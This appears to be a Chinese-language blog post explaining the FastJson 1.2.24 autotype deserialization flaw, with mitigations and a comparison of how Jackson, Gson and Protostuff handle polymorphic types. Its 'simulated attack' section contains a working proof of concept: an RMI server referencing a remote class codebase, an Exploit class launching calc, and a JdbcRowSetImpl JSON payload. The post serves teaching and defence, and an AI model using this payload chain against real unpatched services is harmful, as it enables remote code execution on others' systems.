關於反序列化漏洞的一點認識

前言

前段時間FastJson被曝高危漏洞,其實之前也被報過類似的漏洞,只是項目中沒有使用,所以一直也沒怎麼關注;這一次剛好有項目用到FastJson,打算對其做一個分析。

漏洞背景

2020年05月28日, 360CERT監測發現業內安全廠商發佈了 [Fastjson遠程代碼執行漏洞](https://cert.360.cn/warning/detail?id=af8fea5f165df6198033de208983e2ad)的風險通告,漏洞等級: 高危
Fastjson是阿里巴巴的開源JSON解析庫,它可以解析JSON格式的字符串,支持將Java Bean序列化爲JSON字符串,也可以從JSON字符串反序列化到JavaBean。
Fastjson存在 遠程代碼執行漏洞autotype開關的限制可以被繞過,鏈式的反序列化 攻擊者精心構造反序列化利用鏈,最終達成 遠程命令執行的後果。此漏洞本身無法繞過 Fastjson的黑名單限制,需要配合 不在黑名單中的反序列化利用鏈才能完成完整的漏洞利用。

漏洞的根本原因還是Fastjson的autotype功能,此功能可以反序列化的時候人爲指定精心設計的類,達成遠程命令執行;

AutoType功能

問題描述

我們在使用各種Json序列化工具的時候,其實在序列化之後很多情況是沒有包含任何類信息的,比如這樣:

{"fruit":{"name":"apple"},"mode":"online"}

我們在使用的時候,也只需要一般有兩種方式:直接轉爲一個JSONObject,然後通過key值取對應的數據;另外一種就是指定需要轉換的對象:

public static <T> T parseObject(String text, Class<T> clazz)

這樣可以直接拿到我需要的類對象,很是方便;但是很多業務中會有多態的需求,比如像下面這樣:

//水果接口類
public interface Fruit {
}

//通過指定的方式購買水果
public class Buy {
    private String mode;
    private Fruit fruit;
}

//具體的水果類--蘋果
public class Apple implements Fruit {
    private String name;
}

這種情況下,如果只是序列化爲沒有類信息的json字符串,那麼其中的Fruit就無法識別具體的類:

 String jsonString = "{"fruit":{"name":"apple"},"mode":"online"}";
 Buy newBuy = JSON.parseObject(jsonString, Buy.class);
 Apple newApple = (Apple) newBuy.getFruit();

這種情況下直接強轉直接報ClassCastException異常;

AutoType引入

爲此FastJson引入了autotype功能,使用也很簡單:

Apple apple = new Apple();
apple.setName("apple");
Buy buy = new Buy("online", apple);
String jsonString2 = JSON.toJSONString(buy, SerializerFeature.WriteClassName);

在序列化的時候指定SerializerFeature.WriteClassName即可,這樣序列化之後的json字符串如下所示:

{"@type":"com.fastjson.Buy","fruit":{"@type":"com.fastjson.impl.Apple","name":"apple"},"mode":"online"}

可以看到在json字符串中包含了類信息,這樣在反序列化的時候就可以轉成具體的實現類;但是就是因爲在json字符串中包含了類信息,給了黑客攻擊的可能;

模擬攻擊

現在的版本FastJson做了大量的防禦手段包括黑名單,白名單等,爲了模擬方便,瞭解問題,我們這邊使用FastJson比較早的版本:1.2.24
在模擬之前我們需要了解一下獲取到類信息之後是如何把屬性設置到類對象中的,它是通過setXxx()來給類對象設值的;
一個常見的攻擊類是:com.sun.rowset.JdbcRowSetImpl,此類的dataSourceName支持傳入一個rmi的源,然後可以設置autocommit自動連接,執行rmi中的方法;
這裏首選需要準備一個RMI類:

public class RMIServer {
    public static void main(String argv[]) {
         Registry registry = LocateRegistry.createRegistry(1099);
         Reference reference = new Reference("Exploit", "Exploit", "http://localhost:8080/");
         registry.bind("Exploit", new ReferenceWrapper(reference));
    }
}

這裏的Reference指定了類名,已經遠程地址,可以從遠程服務器上加載class文件來實例化;準備好Exploit類,編譯成class文件,然後把他放在本地的http服務器中即可;

public class Exploit {
    public Exploit() {
         Runtime.getRuntime().exec("calc");
    }
}

準備好這些之後,下面就需要模擬Json字符串了:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

fastjson在反序化的時候,先執行setDataSourceName方法,然後setAutoCommit的時候會自動連接設置的dataSourceName屬性,最終獲取到Exploit類執行其中的相關操作,以上的程序會在本地調起計算器;
注:以上起作用只會在我們使用沒有指定具體類情況下:

JSON.parseObject(jsonString);
JSON.parse(jsonString);

如果指定了具體的類,會直接報類型錯誤:

com.alibaba.fastjson.JSONException: type not match

如何避免

1.不使用autotype

如果你沒有使用多態的需求,沒必要使用autotype,沒必要使用SerializerFeature.WriteClassName特性,直接關閉autotype功能;或者開啓安全模式;

ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
ParserConfig.getGlobalInstance().setSafeMode(true);

2.指定具體類

在反序列化的時候,我們儘量指定具體類:

public static <T> T parseObject(String text, Class<T> clazz)

這樣在反序列化的時候,其實是會和你指定的類型就行對比的,看是否匹配;

序列化工具

序列化工具有很多包括:Jackson,Gson,Protostuff等等;同樣他們也會遇到類似的問題,多態如何處理,下面分別看看這幾種工具是如何處理的;

1.Jackson

Jackson本身提供了多態的支持,但是在序列化的時候並沒有指定具體的類名,而是指定一個編號,類似如下:

@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, include = JsonTypeInfo.As.PROPERTY, property = "type")
@JsonSubTypes(value = { @JsonSubTypes.Type(value = Apple.class, name = "a"),
        @JsonSubTypes.Type(value = Banana.class, name = "b") })
public interface Fruit {
}

指定了一個編號屬性爲type,當type爲a的時候對應Apple類,b對應Banana類型;這樣在序列化的時候json字符串如下所示:

{"mode":"online","fruit":{"type":"b","name":"banana"}}

這樣的好處就是在序列化的時候其實沒有寫入真正的類名,通過一個映射的方式去指定;壞處就是需要在使用的地方進行映射配置比較麻煩;

2.Gson

Gson對多態的支持是在gson-extras擴展包裏面支持的,Gson使用的方式其實和Jackson有點類似,也是通過設置編號進行映射:

RuntimeTypeAdapterFactory<Fruit> typeFactory = RuntimeTypeAdapterFactory.of(Fruit.class, "id").registerSubtype(Apple.class, "apple").registerSubtype(Banana.class, "banana");
Gson gson = new GsonBuilder().registerTypeAdapterFactory(typeFactory).create();

表示id爲apple對應Apple類型,id爲banana對應Banana類型;序列化後的json字符串如下所示:

{"mode":"online","fruit":{"id":"apple","name":"apple"}}

3.Protostuff

Protostuff是直接序列化成二進制的,多態的情況下會把類型直接寫入:

Apple apple = new Apple();
apple.setName("apple");
Buy buy = new Buy("online", apple);

Schema<Buy> schema = RuntimeSchema.getSchema(Buy.class);
LinkedBuffer buffer = LinkedBuffer.allocate(1024);
byte[] data = ProtostuffIOUtil.toByteArray(buy, schema, buffer);

這裏同樣使用上面的類,序列化之後打印二進制:

[10, 6, 111, 110, 108, 105, 110, 101, 19, -6, 7, 23, **99, 111, 109, 46, 112, 114, 111, 116, 111, 98, 117, 102, 46, 105, 109, 112, 108, 46, 65, 112, 112, 108, 101**, 10, 5, 97, 112, 112, 108, 101, 20]

爲了方便知道里面是否有具體的Apple類,可以輸出com.protobuf.impl.Apple二進制:

[99, 111, 109, 46, 112, 114, 111, 116, 111, 98, 117, 102, 46, 105, 109, 112, 108, 46, 65, 112, 112, 108, 101]

重疊的部分正是Apple類描述,同FastJson把具體的類信息存放到了序列化信息中,那這樣會不會也和FastJson一樣,存在被攻擊的可能那;但其實我們在使用Protostuff的時候往往是需要強類型綁定的,如下所示:

Schema<Buy> schema2 = RuntimeSchema.getSchema(Buy.class);
Buy newBuy = schema2.newMessage();
ProtostuffIOUtil.mergeFrom(data, newBuy, schema2);

就像我們在使用FastJson反序列化的時候強制指定clazz,也能避免攻擊;

總結

這種攻擊方式,其實和SQL注入攻擊挺像的,我們的程序指定了一個入口,對輸入的數據沒有限制,或者說沒有足夠的限制;而程序在拿到數據之後也沒有足夠的校驗,或者說提供了無需校驗就能被加載執行的途徑,比如FastJosn裏面的JSON.parse(jsonstr)方式,無需一個明確的對應類;SQL直接進行拼接等;最後想說的是一個工具只有被用的越多才會越能發現裏面的問題,這樣才能使我們的工具更加成熟,Fastjson會越來越強大。

代碼地址

Github

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章